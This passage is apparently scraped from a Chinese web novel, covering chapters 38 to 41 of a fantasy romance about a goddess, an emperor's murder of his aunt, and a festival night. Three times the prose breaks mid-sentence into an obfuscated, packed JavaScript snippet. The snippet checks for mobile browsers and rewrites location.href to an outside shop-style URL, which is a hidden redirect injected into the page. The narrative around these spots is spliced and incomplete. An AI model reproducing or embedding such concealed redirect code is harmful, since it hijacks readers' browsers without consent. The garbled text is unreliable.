这时候,那位笑容恶心的苏内侍走过来,他端来三条白绫,身后跟着十个精壮的侍卫,每个侍卫腰间都挂着佩刀。 高宁并不慌张,便问苏内侍:“本宫那位好外甥,将本宫软禁在此一个月有余。看起来他顺利篡了他老娘的位子。不过,来找本宫作甚?” “皇上说了,长公主害萧相惨死,她的灵魂不肯离去。术士说,若不能将凶手严惩,安息她的灵魂。她会报复高家的江山。” 高宁反唇相讥:“杀了萧知颜的人,不是本宫那位好外甥吗?他骗了本宫,说知颜追求他,本宫才纵容他接近知颜。” 苏内侍却讥笑,不分青红皂白地狡辩:“长公主,萧相都死了,您再编谎话又有什么用。不过,你也快了。” 说完这话,苏内侍摆了摆手,侍卫们扣住高宁和两位宫女。他们将白绫分别套在这些女子的脖子上,用力地拉紧白绫。 惊叫与惨叫声充斥满屋,可这声音传不到殿外。 声音渐弱,直至再度恢复阒寂,牡丹花静静落了一瓣。 苏内侍命人在房梁挂上三尺白绫,又把高宁的尸体悬在那上面,做出自缢的假象。 等一切就绪后,彼时尚且年轻的皇帝姗姗来迟,缓步进入宫殿。他走到高宁的脚下,将她从白绫之中取下,抱着她的尸体大哭。 “姨母,外甥还是晚来一步。外甥知道您对知颜有愧,也不该以命来赎罪啊。”他哭的时候,没有落下一滴泪。 皇帝这场戏演了半炷香时间,便抛下了高宁。颜笙注意到一片状似翅膀的东西,从他袖口掉下来。 颜笙捡起那片翅膀,抬头时,发现眼前的场景化为虚影。 宫殿里空荡荡的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090567|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是久未有人打扫,到处都积满了灰尘。堵在入口处的那盆牡丹花里只有空空的花盆,牡丹早已不知去向。 高宁突然现身,将自己的凤钗交给了颜笙。 那偶然拾得的翅膀,和凤钗这么一对,居然完美贴合。翅膀正是那枚凤钗缺失的那部分。 再一眨眼,高宁消失了。 * 颜笙手握着凤钗,通过那尊子颜的神像,回到了沈华裳所在的殿内。毕竟子颜和她是一个灵魂,她也能穿过那尊神像。 枯黄脸孔的老皇帝仍站在白蝉花旁。白蝉花的洁白和刚才见过的白绸相似,如今再让颜笙看向这花,她只觉得这颜色煞是刺眼。洁白的花下,不知藏着多少虚伪? 皇帝突然问沈华裳:“华裳是嘉德年间生人?竟还是花朝节出生的。” 沈华裳垂眉顺目,低声回答:“嘉德五年的二月初二。” 皇帝却说:“那日是个花朝节。朕有位故人,也和花朝节有渊源。”他顿了顿,又继续道:“朕时常在想,会否羽之便是她的转世。” 与花朝节有渊源的人,沈华裳首先想到的是花朝公主高宁。 那是一位花朝节出生的公主,也是皇帝的亲姨母。皇帝从小跟着这位姨母长大的,所以他们私交甚好。 嘉德五年花朝日,两人一起谋动宫变,斩杀了先皇属意的皇太女,逼先皇退位,转而改立庶子继位。 年轻的宰相萧知颜也死在那日,她在花朝殿外被叛军乱箭射死。传闻,萧知颜的灵魂不散,徘徊在花朝殿外,想要向花朝公主索命,使得她日日梦魇。 至于为何只找公主索命,坊间有两个说法。 一说,萧知颜和花朝公主亲近,她觉得自己死于公主的背叛。二说,萧知颜生前爱慕皇帝——别看皇帝现在这副模样,据说年轻时极隽朗。 听老一辈入朝为官的人说,萧知颜的容貌有点像颜笙,而颜笙是在当年腊月出生,中间刚好隔了母亲怀胎的十个月。他们私下都说,颜笙可能是萧知颜转世。 沈华裳随即安慰自己,估计皇帝是思念姨母了,是她小人之心胡思乱想。 但她也不敢占皇帝的辈分便宜,又道:“您误会了。我和您念叨的人年岁对不上,也生得不怎么像。” 皇帝扳过沈华裳的脸,说道:“虽生得一点也不像,但好在看得过去。”他收紧手指,捏得沈华裳下巴发红,“你入选八皇子正妃,自然不是因为这张脸,只是因为你的生辰。” “皇上……这……”沈华裳忽地一惊,这举止也不像普通的外甥对姨母会做的。 皇帝道:“高町与皇后本都属意颜家娘子,是朕亲自改了婚事。不过皇后心里还是惦记着颜娘子,所以朕故意放出诋毁她的话,好让她无法出嫁。等你入宫了,朕再将她还给町儿。” 颜笙道:“这种老巨婴最擅长的,就是为满足他们肮脏的欲.望,将无数女子的人生踩进泥潭里做踏脚石,事后甩下几分泥点子不如的补偿,还指望受害人感恩戴德。” 陆析看了一眼颜笙。 按照原本的命数,颜笙在那场宴会之后,和八皇子高町成亲。 但陆归年为阻挠颜笙的姻缘,安排本该短寿无子的沈华裳介入其中,因八字的原因错嫁给高町,又还给她荣华和二十年寿数作为补偿。 然而,天道只能操控她们命运的框架,不能限制她们实现目标的过程,于是事情发展到现在的地步。 白蝉花忽地摇晃一下花枝。 “知颜,朕也心悦于你。那时都怪长公主阻拦,我才……”皇帝伸手去碰沈华裳,被沈华裳躲开了。 沈华裳视线瞟到远处的神像,玄鸟族圣女子颜的神像,竟生得和颜笙有七八分相似。这样,沈华裳突然想通了。 皇帝念叨的人根本不是她的姨母,而是他的死对头萧知颜啊! 皇帝继位后,突然削弱奉天诸位圣人的祭祀地位,转而尊玄鸟后裔组建的学派为正学,并以玄鸟圣女子颜为祭祀首位。之后全境跟着皇宫的蜂巢,也流行起祭拜起子颜。 实际上,皇帝根本不是祭拜子颜,而是萧知颜。没有人知道几千年前玄鸟圣女究竟长什么样子,但皇帝可以决定她长什么样子。 皇帝继续劝说:“你该顾全大局,主动让出正妃之位,自请入宫。这样朕也好下旨,让颜娘子嫁给町儿,有情人都能终成眷属,皇后也能走得安心。” “分明是你想霸占良家妇女,却拿我做借口?”颜笙的声音从空气中传来,“当初你也是拿转世这套说辞诓我,如今还想骗妙龄少女?” “谁在那里?”皇帝看向声音来源,没有看见任何人,但是这声音有点耳熟。 颜笙显出身形,手里握着束三生,睥睨着老皇帝。 “知颜……不对,你不是死了?”皇帝慌神,左顾右盼,方才还口口声声说着爱她,这会儿看见她真人,却只剩下恐惧。他连忙往外喊道:“来人,有刺客。” 声音被颜笙竖起的空气墙所阻挡,久久仍未见任何侍卫赶来。 善于利用鬼神欺骗世人的皇帝,平时做事从不怕鬼敲门,今次才终于怕了鬼。这人是他亲手斩杀的宰相萧知颜。 皇帝回想起嘉德五年的那个花朝节。 萧知颜的官袍被鲜血浸透,拖着万箭洞穿的残躯,一寸寸向花朝殿爬行。他逐渐丧失力气,双手被磨得血肉模糊,在台阶上拖出蜿蜒血痕。 最终,在萧知颜距离殿门仅剩三阶时,站在树丛阴影里的皇帝,弓箭的准头对准萧知颜的后背,朝着她发射最后一箭。 萧知颜跌入血泊里,再也不曾清醒。 39. 霓裳曲(六) 皇帝想起那场景,忽而感到害怕,“你到底是谁?知颜她不会这般对我。” “我过去待你好,那是看在公主的面上,可你却杀了公主。”颜笙笑了笑:“不过我现在也不是萧知颜了,我现在是神官了。” 皇帝直呼不信,拔出腰间防身的剑对着颜笙,大喊道:“神官哪会是女子?” 疾驰的剑尖朝颜笙刺去。颜笙不疾不徐,两指轻而易举地钳住剑尖,说道:“地上有女皇帝,天上怎就不能有女神官?” “自古以来都是龙在上凤在下,前面两任都是女子窃国,而朕乃是盛世明君。”皇帝用力顶着剑身,手腕用力得有些酸胀。宝剑纹丝未动。 “盛世?仅高门大户可见繁花似锦,算得了什么太平盛世?”颜笙道。 “太弱了。”颜笙捏着剑尖,仿佛在捏着一根轻浮的丝线。她的指尖稍一用力,便把剑折断,“且如今的太平,不是从高宁手里偷来的?” 皇帝气喘吁吁,声嘶力竭地否认:“朕是皇帝,她只是区区长公主,那些政令都是我下的。她处处掣肘我,想让我做任她摆布的傀儡。” 颜笙说:“你执政的前半程,朝中群臣半数都是高宁走访民间之后提拔上来的。该到你自己发挥的时候,到处都是巧言令色之辈。而她扶持你……都是…….都是因为……” “她会扶持你上位,让你这个废物做傀儡皇帝。都是为了我……”颜笙回忆起高宁的话,“是你骗她说我们有关系,她想让我未来能过上安逸的日子,才会帮你铺路。” 皇帝听到花朝公主的名字,眼神立刻黯淡下来,仿佛陷入了梦魇,双手托着脑袋,喃喃道:“不可能。她不会有这么好心。” 但这份低沉只持续了片刻,随后皇帝抵赖道,“是她害死的你,不是朕。朕一直念着你,这些年一直为你招魂。术士说你是玄鸟圣女转世,朕这才尊子颜为祭祀首位。也是因为始终记挂着你,这才让沈华裳进宫。” “你哪是在招我的魂?你是在招一块“名正言顺”霸占儿媳的遮羞布。你亲手杀了我,回头又立起我的神龛,合起手掌焚着香,假装你是‘爱的供养’,以为能欺骗神灵?可惜,在神灵眼里,这叫又当又立,迟来的虚情假意比草贱。” 皇帝见狡辩不得,此时握剑站起来,用力朝沈华裳一挥剑,不过那刀刃似乎撞到坚硬的东西,发出类似金属摩擦的声音。 颜笙回头看见是陆析拿剑挡住了这道攻击,他一言不发,却以一种极为嫌恶的眼神盯着皇帝,似乎忍了很久。 那眼神极为陌生,颜笙从来没有在陆析脸上见过。 皇帝感觉自己颈间竟有冰凉的感觉。周围有一股毛骨悚然的威压,寒气侵袭着脊骨,使得他呼吸吃力,再难发出声音。 陆析何时竟有如此强的威压? 颜笙觉察出不对劲的地方:陆析和她入地宫时候穿着白色的长袍,这会儿身上换成了玄色修身的长袍了。 天玄地黄,总该不是陆归年回来了? 沈华裳见颜笙站在原地发呆,拽拽她的袖子,低声说道:“那个人,似乎是天道。是来找他算账的吗?” 颜笙突然想起来,皇帝改换了祭祀位序,提升了子颜的位份,而陆家全家的祭祀位都被相应降低。大概是因为这点,皇帝得罪了陆归年。 “我们该离开了。”沈华裳说完,她的指尖指向慌张无措的皇帝。 地面出现一个洞口,正好在皇帝脚下,他仿佛踩在一块浮石上,浮石之下是滚滚岩浆,冒着热腾腾的烟。 这个操作…… 颜笙记得和陆析进入沈华裳识海前,偶然瞥见陆析使用这邪门的招数,当时她还当自己眼花。 前方的陆归年觉察到异动,施法合上地上出现的奇异洞口。 颜笙感觉自己的手被用力一握,抬起头与沈华裳对视一眼。沈华裳拽着她向宫殿外的方向跑。 颜笙只觉眼前炸开一片耀眼的白色,亮得她睁不开眼。待回过神时,她已置身颜家。 这里没有任何神像。估计她能瞬间移动过来,是因为这里是沈华裳的识海。 颜笙看向旁边的沈华裳,她脸上的表情变得冷寂。 颜笙还发现一点,自从回到家中,从未见到一人登门。 家中所有人都消失无踪 颜笙推测陆归年已经把皇帝处理了,沈华裳的梦魇除尽,幻境也快要终结。 “等陆析回来,你送我们出去吧。”颜笙忽而提议,“还有陆归年,我们三个都困在你的神识里。” 沈华裳没有理睬她,径直走去了隔壁房间。 颜笙受到冷落,回想半天没觉得自己刚才有招惹她。 * 当晚,颜笙在卧房里睡得正香。 一只冰冷的手摸上颜笙的脸颊。她觉得有点痒,便握住了那只手,脸颊贴着他的手背,迷迷糊糊之中瞧见床头坐着一玄衣男子。 颜笙惊恐地放下那只不安分的手,连忙起身坐好。她低着头,瞧见眼下自己只穿着一件单薄的里衣,于是赶忙去够枕在床头的外袍。 那件外袍被抢走。 颜笙拉起被子,警惕地看着来人,竟然是先前才看见陆归年,便问:“你来这里做什么?还是说……” 陆归年将她的衣袍递给她,“我们两个是夫妻,看你还需要打个报备?” “在这里和我成婚的不是你。”颜笙反驳,“我们之间什么都不是。” “你喜欢别人了?”陆归年淡淡地笑,“看来我们也没有情比金坚。” 颜笙古怪地看他一眼。当初她杀陆归年当日,陆归年早已看出她在作戏,怎么突然又说一句“情比金坚”?或许是句讽刺。 她的脑海中忽地闪过一双凤目,突然意识到,好像是有对她而言特别的人。陆归年莫不是知道她对“张脆枣”有点特别,要找他麻烦? 不行,枣精怎么能打得过天道。 想到这里,颜笙赶忙表示:“没这回事。” 陆归年俯身在颜笙额头一吻,紧接着又在她脸上落下一个吻。颜笙总觉得陆归年有点奇怪,下意识偏开脸,这让他失去了兴致。 陆归年放开颜笙,“你就是有喜欢的人了。可惜,他不敢以真面目示人。” 颜笙听到这里,忽而脑海中有一道闪过,她才察觉到是哪里不对。 眼前的这位自称陆归年的人,身上没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆析的视线落在颜笙的额头和脸颊,一脸无辜地解释:“刚才我被天道附身,行为已经不受控制。” 颜笙一听就知道陆析在说谎,刚才附身他的人也不是陆归年,但仍表示道:“没事,你回来了就好。” “这里已经失控,并非你我所能控制。”陆析拉着颜笙向外走。 沈华裳突然睁眼,勾住颜笙的腿,抬着灰头土脸的脑袋,整张脸突然开始融化,变得不成人形,她问道:“你又要抛下我?” 颜笙犹豫了一下,却见陆析飞快抛出一道咒语,那沈华裳突然变成一团黑雾,从中隐约可见两道灵魂。 陆析施法剪断了黑雾对两道灵魂的束缚,两道灵魂要飞走,他赶忙放出束缚咒,其中一道灵魂逃逸出识海,另一道灵魂被束缚在原地。 那道留下的灵魂显现出真实的模样。 竟然就是沈华裳。 颜笙在旁边把黑雾收敛起来,发觉这东西竟然是以怨气为食的精怪,并且这精怪所吞噬的怨气不止来自沈华裳一人。 她想了想,把那精怪的灵丹剖出来,那精怪在他们面前散开了。 40. 花朝夜市 崔攸霁在宴席间,始终透过镜面注视崔瑶那边的动静。他忽见一道发黑的灵魂自沈华裳体内逸出,随即与在外守候的元沁雪擦身而过,之后元沁雪当场昏厥。 他心头一紧,担忧崔瑶安危,立刻匆匆下凡。 赶到崔瑶身侧时,那道黑魂已无踪影,昏迷的元沁雪也已苏醒。 崔攸霁收起转录镜,走到沈华裳身旁,在她头顶点上一盏固魂灯。目光掠向隔壁相依而眠的颜笙与陆析,他阴阳怪气地嘀咕:“折腾半天,到头来还是我救了所有人,还搭上两件法器。” 崔瑶掏出一袋灵石塞到他手里,问道:“这点够吗?” 崔攸霁将灵石袋拿过来,点了点里面的灵石数,随后笑眯眯说道:“爹这儿法器多得是,要用尽管来取。只是,爹不想看瑶儿又被颜笙带着胡闹。” “爹——”崔瑶打断他,“没有颜笙灵石供养着,你哪有经费制造仙器?” 崔攸霁摸着鼓囊囊的灵石袋,心里别提多安心:“行吧,那就看在瑶儿的面子,爹就不计较了。”他看见旁边的元沁雪,想起刚才自己在说颜笙坏话,便语重心长地提醒:“很多时候,看见的事、听到的话,不必逢人便说。” 元沁雪连连点头,将这话谨记于心。 片刻后,颜笙与陆析的灵魂从沈华裳的识海中缓缓逸出。 意识回笼的颜笙只觉脸颊贴上柔软的丝绸,鼻端萦绕淡淡薄荷香,以及透过布料传来的阵阵温暖。 春夜仍带几分料峭,她下意识蜷起身子,将脸埋入温暖之处,手也探向那片热源。忽有一股温热缠上她的手腕,试图将她从那温度中拉开。 她猛然睁眼,看见一只指节修长的手正拽着她的手腕,而她的双臂此刻竟环着别人的腰,像抱着一只大号暖炉。 颜笙匆匆抽回自己不安分的手,才发现自己竟枕在那人肩上。她仓促抬头,与陆析的目光正好对上,又慌忙移开视线。 第一个发现他们苏醒的是崔瑶,她立刻唤来在外等候的崔攸霁。崔攸霁见他们醒转,揶揄道:“颜笙上神,桃源境第一天神,差点被野鬼困在识海里,可真稀罕。” 颜笙没搭理他的揶揄,只说:“方才天道也在其中。还有陆贺年……他似乎想要劫走我。” “这怎么可能?”崔瑶立刻反驳,目光偷偷掠向陆析,随即不安地皱眉,转而对颜笙问道:“你可见过陆贺年的模样?” “他不就是……”陆析刚要开口,声音却梗在喉间。 颜笙摇了摇头,“他当时附在沈华裳身上。” 这话真假参半。颜笙谈及此处,目光一直追着崔瑶,静静观察她的反应。 果然,崔瑶神色微变,似乎知道些关于陆贺年的事。上次她被困画中,隔日也是见到崔瑶。 崔攸霁却接过话道:“我在幽冥生活过一段时间,也听过陆贺年的名号。他虽名声不佳,却也是个正人君子,断不会做出劫人之事。” 陆析仍道:“我不这么认为。” 颜笙白了一眼陆析,“他被天道迷了心窍,总爱把我身边素未谋面的人当恶徒。” 崔攸霁笑道:“男子背后编排他也正常。听闻陆贺年是个阴阳同体的俊美郎君,是个极品男子。” “啊?这是什么意思?”颜笙笑盈盈地望向崔瑶,调侃道:“比你义父张脆枣还好看?” “你说的张脆枣,是我认识的那个幽冥张脆枣?”崔攸霁听罢,脑海中浮现起一张面红耳赤的枣精脸,他不由得摸摸下巴:“他算秀美吗……” 崔瑶知他指的是另一个张脆枣。崔攸霁早年在幽冥住过,确实见过真正的张脆枣,但她并未打算将这个误会解释清楚。 她仍装作混不分明,替陆贺年辩道:“义父年轻时极俊,尤其眼睛极撩人。我娘也见过他,原本打算将他梳拢,之后纳入后宫。谁知他被人族女祭司下了药……后来……”她瞥了颜笙一眼,顿了顿,只轻声补道,“我娘自那以后,也对他失了兴致。” “咳。”颜笙轻咳一声。虽为子颜转世,但她脑海中并无太多前尘记忆,只有零星子颜的梦境。听闻“下药”二字,脑海中闪过那场香艳的梦。 她记得那时根本无人下药,自己堂堂女祭司,也不屑使此伎俩,便忙道:“世上哪有迷情药?你可不要空口诬赖这女子。” “我也没说是迷情药啊。”崔瑶一脸无辜,“那是毒药。” 颜笙心头一松,轻声嘀咕:“这样啊……下毒,倒还算是个正经手段。” 如今的颜笙,仍将陆贺年误作张脆枣,笃信自己前世与张脆枣偷食禁果,背叛了陆贺年。听闻“下毒”二字,她想到自己的前科,心中暗自认罪。 她只当是自己怕与张脆枣的不伦情事败露,遂先下手为强,毒杀灭口。 颜笙心里泛起一缕愧疚。 陆析并非愚钝之辈,心窍倒比颜笙还多出几分玲珑。 他见颜笙脸上泛红,隐隐察觉她似乎对“张脆枣”另有所思。 一阵莫名的醋意自心底涌起,那情绪不止属于陆归年,也有他自己的一半。 “颜笙。”陆析插言,故作平静地问:“沈华裳飞升后,会去哪里?” 颜笙道:“自然是我这里。” 陆析道:“接下她,等于在明面上与崔巍、花影两人作对。你是打算公开与崔巍一系为敌?” 崔攸霁听到此话,谨慎考虑一二,也接道:“显熠宫也不宜太早露底,清凉殿暂时也容不得她。再说,桃源有花影与崔巍,她去了也未必安稳。” 崔瑶道:“无常界也去不得,那里由我三叔崔攸宁掌管,不如送去三不管的幽冥?” 颜笙想到崔攸宁,那个想要迎娶她的断袖,觉得和他打交道实在有点麻烦,只觉与他周旋麻烦,便淡淡道:“无常不行,幽冥太苦,暂且让她留在混沌吧。” * 花朝节之夜,天色渐深,街市却依旧喧闹。孩童嬉笑,小摊贩的叫卖声此起彼伏,宵禁早已被节庆味道冲散。 圆胖橘耐不住这份热闹,又或许是这里的街头小吃以大庚特色的油煎面食为主,吃多了容易晕。总之,他走了几步便开始打哈欠。颜笙只得先将它送回客栈。 待圆胖橘安睡,颜笙才走出房门。她望见陆析倚着阑干,仰头凝望夜幕上缀着的稀稀拉拉的星子,神情安详而平淡,与凡人无异。 可是,寻常凡人,会掌握连通陀铃火渊的法术吗? 颜笙的心猛地一沉。陆析与陆归年本就相似,而陆归年与陆贺年又是同父异母的兄弟。那便意味着,陆析极有可能与陆贺年长着同一张脸! 当初她被困画卷,所有线索皆指向陆贺年,而陆析那时也在场。 那么,陆析会是陆贺年吗? 她越想越糊涂,明明与事实越离越远,她却自作聪明地觉得自己推理天衣无缝,只待与陆析摊牌。于是她主动提议:“出去逛逛吧。” 没想到陆析竟拒绝了,只道:“鹿师叔还没回来。” “他今晚多半不回来。”颜笙说着,调出鹿不沾的影像。 清幽山林间,遍地金灿灿的柠檬,隔着画面都能闻到那股酸涩沁人的香气。 鹿不沾倚在柠檬树下,腿上盖着薄毯,手举金樽。酒意微醺,他望着杯中自己的倒影,含糊念叨:“柠檬树上柠檬果,柠檬树下你和我。举头望明月,忧郁又寂寞。” 说完,他又惬意地哼起千年前的乡曲,调子早不着调,只能听他反复叨叨什么忧郁寂寞。 颜笙听得满头黑线,再看陆析眼里光都没了,怀疑再听下去两人马上就要非自然死亡了,索性掐断画面。 陆析心知鹿不沾今夜应该会留宿在外,不会再回来了,却仍不想与颜笙独处,只委婉道:“我有些困了,明日再说。” 颜笙微挑杏目:“你刚不是因为失眠才在门口赏星吗?” “刚才没有,此刻才生出些困意。”陆析转身欲离,颜笙伸手拦住他,直截了当地问:“你是在躲我吗?” 溶溶月光泻入窗内,映亮颜笙的侧颜,勾勒着她的轮廓。她眼眸幽黑,星辉散在她瞳底。陆析不由得失神,凝视着藏在她眼中的璀璨星光。 在颜笙眼中,陆析背着光,面庞隐在暗影中,她几乎看不清他的神情。 迟迟等不到回应,她低声道:“抱歉,打扰了。”随即拉门离去。 陆析凝望那扇门,犹豫良久。陆归年的记忆,与他自己的记忆,交织得模糊不清。 在他们共同的记忆里,颜笙时而热情,卖力而熟练地表演着爱人的模样,严格遵循着一套标准化流程;时而冷淡,双双目失焦地站在一旁,仿佛进入了某种情感过载后的强制休眠期。 理智上,陆析明白颜笙并不喜欢他,她提到“张脆枣”时眼底的光亮,远胜面对自己。可感情上,他仍怀着赌徒心理,笃信她也许还有一丝可能喜欢他。 陆析从纷乱的思绪中回神,推门而出,沿着楼梯一步步走下去。 …… 颜笙离开客栈,习惯性抬头望去。 二楼窗台空无一人。再转身,陆析已走出门外。 “我就知道。”颜笙踩着细碎的步子凑到他身旁,久违地露出娇俏笑容,道:“像你这样的人,哪舍得窝在屋里?今日庆典多热闹啊。” 陆析淡淡点头,只觉得这场景有点熟悉。忽而,他意识到她刚刚那一笑,是陆归年见过而陆析没见过的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一只青白的手伸来,将蝉轻轻取下。崔攸霁低头打量片刻,转而递给崔瑶,微蹙眉道:“这不是颜笙的仙及?怎么会在这儿?” “又睡着了……”崔瑶接过仙及,小心托在掌心,“多半是颜笙派它来办事,它半路犯困,又打起盹儿了。” “真好命。”崔攸霁叹道,“这蝉仗着是颜笙飞升前的灵宠才得以跟着飞升,法力不及你娘半分,连那只生来带着罚印的圆胖橘都比不过。” “别这么说。”崔瑶用指尖轻覆仙及的耳孔,笑着道:“飞升本就看机缘,不看法力。我升入桃源境时,也不过会点读心术,灵窍还没开。” 崔瑶此言半真半假。她自幼随义父修法,驱动阴兵亦不在话下,只是那等术法不能在人前显露,索性装作一窍不通。 她心念一转,义父方才那般匆忙离去,莫非沈华裳的识海里出了什么事? 她取出通讯石,光影逐渐汇聚,映出一名凤眼修长的男子正穿行于夜市,径直朝他们方才离开的画楼走去。 崔瑶轻声惊呼,那不是陆贺年的真身吗?平日里他总以丑陋矮小老枣精的模样示人,如今竟以本貌现身,是要与颜笙摊牌,以后也不装了? “出什么事了?”崔攸霁转头询问。 崔瑶匆匆将光影打散,垂眸掩去慌色,“没事。我们走吧。” * 数里之外的画楼中,陆贺年推门而入,那正是他方才离开的房间。 屋内静悄悄的,空气中尚残留着颜笙的灵力;只是屋主早已不在。深处,沈华裳静卧,头顶悬着固魂灯,旁侧站着一名黑瞳极大的女子,目光炯炯地盯着他。 陆贺年凝神细看,认出那女子是刚才与崔瑶守躯壳的神使,容貌与上古神女裴天骄有几分相似,好像是叫元沁雪。 一念及裴天骄,陆贺年不由心生烦意。 裴天骄素来是个乐子人,总四处打听仙人的风流往事,尤好追问他与子颜的旧事,还将所闻一一记在册中。陆贺年心头烦她烦得紧,但看在她创造了玄鸟和奉天族,也只好忍了。 后来子颜飞升,裴天骄将人哄去百花宫,陆贺年费了好一番工夫,签署不少不平等合约,才把子颜带出来。也是因这位闲神阻止,最后他也没能和子颜正式结契。 可正是这些事,让世人误会裴天骄爱慕他,说她为助他弑神而被牵连坠凡。 这并非真相。裴天骄自以为扮人之术已惟妙惟肖,便化作人族女子,溜入凡间玩乐,顺手创造了新的族裔,而后前往异世,再未归来。 据说那支族裔名为须晴,用以承接奉天与玄鸟的使命,从而延续人族存在。不过,须晴族未见正式文载,只幽冥小道在传,想必在天劫之前便灭绝了。 陆贺年看向元沁雪,目光再次阴沉,冷言道:“你这次又来纠缠颜笙?莫非……你喜欢她?” 41. 戏吻 本来昏昏欲睡的元沁雪,忽而撞见一位出尘绝艳的美男子,登时困意全无。她立刻规规矩矩地站好,认真回答道:“仙人好,我是抱朴派弟子元沁雪,当然也最喜欢颜笙上神。” 这女孩神情比裴天骄生动许多,法力又浅,大概不是她。陆贺年仍不放心,继续确认道:“你不是裴天骄?” 元沁雪依旧态度认真:“裴天骄是我娘亲,我是元沁雪。” “难怪有几分相似。”陆贺年漫不经心地感慨。 元沁雪瞧着陆贺年,怎么感觉他松了一口气,该不会和她娘有点过去,比方是她娘的初恋情人? 说起来,这男子比她爹俊俏多了。 她娘有言:世间男子,品分五等。其最上品之甲等者,必兼三德三相,方称上乘。 三庭五眼标准,眉宇间自生正气;唇色薄厚得宜,却常含一抹不至眼底的笑意,此谓之美。 身长八尺,形容匀称,气度雄健,想来武艺不凡,竟连颜笙上神所设结界亦不能拒之,此谓之强。 其肤色若雪若薄瓷,似是久居幽处、长年不接触阳光之人。目光深沉,似藏万千怨恨;又带几分幽冥之气,想来其身世多半悲怆,此谓之惨。 眼前此人,正是“美、强、惨”三者并兼之绝品。裴天骄素来训诫于她:若将来遇得此等上品男子,务必设法让他为自己繁衍后代。只有与这样的人孕种,才能确保人族生生不息。 元沁雪悄悄祭出母亲遗留的灵宝,一缕仅为她所见的灵光环绕男子一周。她暗中探得,此男气血充盈,腰腹有力而柔韧度高,正适合生养健康长寿的后代,只是可惜…… 他元阳已失。 元沁雪在心底里碎碎念:“啧,可惜了这一副甲等皮囊,竟已被别的女人提前开垦过了,育种价值大打折扣。” 她脑海里瞬间闪过几本偷偷看过的“替身文学”话本,脸颊不受控地泛起薄红。 元沁雪不觉将自己代入那些“替身文学”的桥段,遂拙劣地学起母亲平日那副“假人”模样,眼中神采乏乏,唇边挂着一抹僵硬的笑,问道:“仙人是来寻颜笙上神?” 陆贺年似是看见故人,脸上那抹笑意瞬间收了回去。事实上,他今夜确实是为颜笙而来,想借此机会表明身份,也表明心意。 他是烦透了裴天骄,看到这副长相就讨厌,于是淡敷衍道:“在下是来找崔瑶的。受她义父所托,前来接她回家。既然她不在,那——告辞。” 元沁雪自然知道崔瑶的来历。 崔瑶自幼在幽冥长大,与生父疏淡,反而与幽冥中的养父情同骨肉。颜笙上神便将她安置在抱朴派,方便她往返两界。 “今日瑶儿见义父未至,便同生父出去赏花了,恐怕要晚些才会回来。”元沁雪一边说,一边红着眼圈,刻意流露出几分掩不住的羡慕与嫉妒。 她自顾自地絮叨起来:“真羡慕崔瑶,既有生父疼,又有养父爱,还有颜笙上神照拂。我爹隶属刑部,整日公务缠身,鲜少得闲。我刚飞升,对周围的仙人也不熟,在这桃源境里连个说话的人都没有。” 陆贺年淡淡附和:“我也差不多。无亲无故,也没什么朋友。” 元沁雪立刻笑道:“那不如,我们一起出去走走?” “这倒不必。”他原想婉拒,却见那丫头已经兴冲冲地往外走。犹豫片刻,他终究担心她法力浅薄,在外遇到危险,叹了口气,跟了上去。 然而陆贺年对她并无半点风月心思,只把自己当成一个出于责任感的长辈。他肯理会元沁雪,不过是出于好意,也想替崔瑶多结识一位朋友。 自崔瑶飞升以来,他脑中除了思念颜笙母子,便只剩如何替崔瑶在桃源结交人脉。毕竟他过去在此地人缘不佳。 只是,这份用心,崔瑶未必领情。 街角处,崔瑶恰好瞧见他。她心头一紧,怕崔攸霁认出陆贺年的真容,忙低下头,轻拍崔攸霁的手臂,拉着他往城外另一条街匆匆而去。 她手中的灯笼在夜风中轻轻摇晃。 灯罩上趴着一只仙及,正迷迷糊糊地打着瞌睡。它梦见城外,一棵开满桃花的树在夜风中微颤。 桃树下,一男一女并肩而坐。草席铺在花影下,一阵风过,淡粉色的花瓣洒在他们的发间和衣间。 男子抬头看花,女子抬头看他。两人都沉默着,仿佛连风声都在等。 良久,颜笙偏过头斜睨着他,故作随意地问:“其实你和张脆枣、崔瑶他们……早就认识吧?” 陆析转头望向她,答得很坦率:“是。崔瑶是抱朴派的神使。至于另一个人,他是……” 话到一半,喉咙却像被无形的手掐住似的,再也吐不出后半句。 他皱了皱眉,似乎在与某种无形的禁制对抗,却终究败下阵来。 陆析沉默片刻,索性放弃挣扎,改口道:“上神不必太信他。他之前袭击过我。” 颜笙未解他良苦用心,反而心中暗笑。 她本就把陆贺年错认成张脆枣,倒把眼前人当成陆贺年。如今又听陆析说出这种话,只觉得这魔王撒谎不打草稿。 那人一只枣精,还能袭击他这位魔王? “那枣精看起来不像恶人。”颜笙每每想起“那枣精”的俊脸,脸颊就微微泛红,她若有所思地补了一句,“我倒没问过瑶儿,他如今……可有婚配?” “没——唔——” 树梢上传来一声轻微的闷响,像是谁被捂住了嘴。 颜笙抬头望去,只见一只野猫正蹿上树梢,伸爪去掏鸟窝里的雏鸟。她心想,大约是小鸟的呼救声,抬手挥出一道驱逐咒,将那只即将得逞的猫赶走。 处理完那只猫,她转回身,若无其事地接上话:“回头我问问瑶儿。前阵子不迟还劝我再续一门亲事,说未必要找仙人。我想想,妖怪也未尝不可。” 陆析眉心微蹙:“你不是已有婚约?” 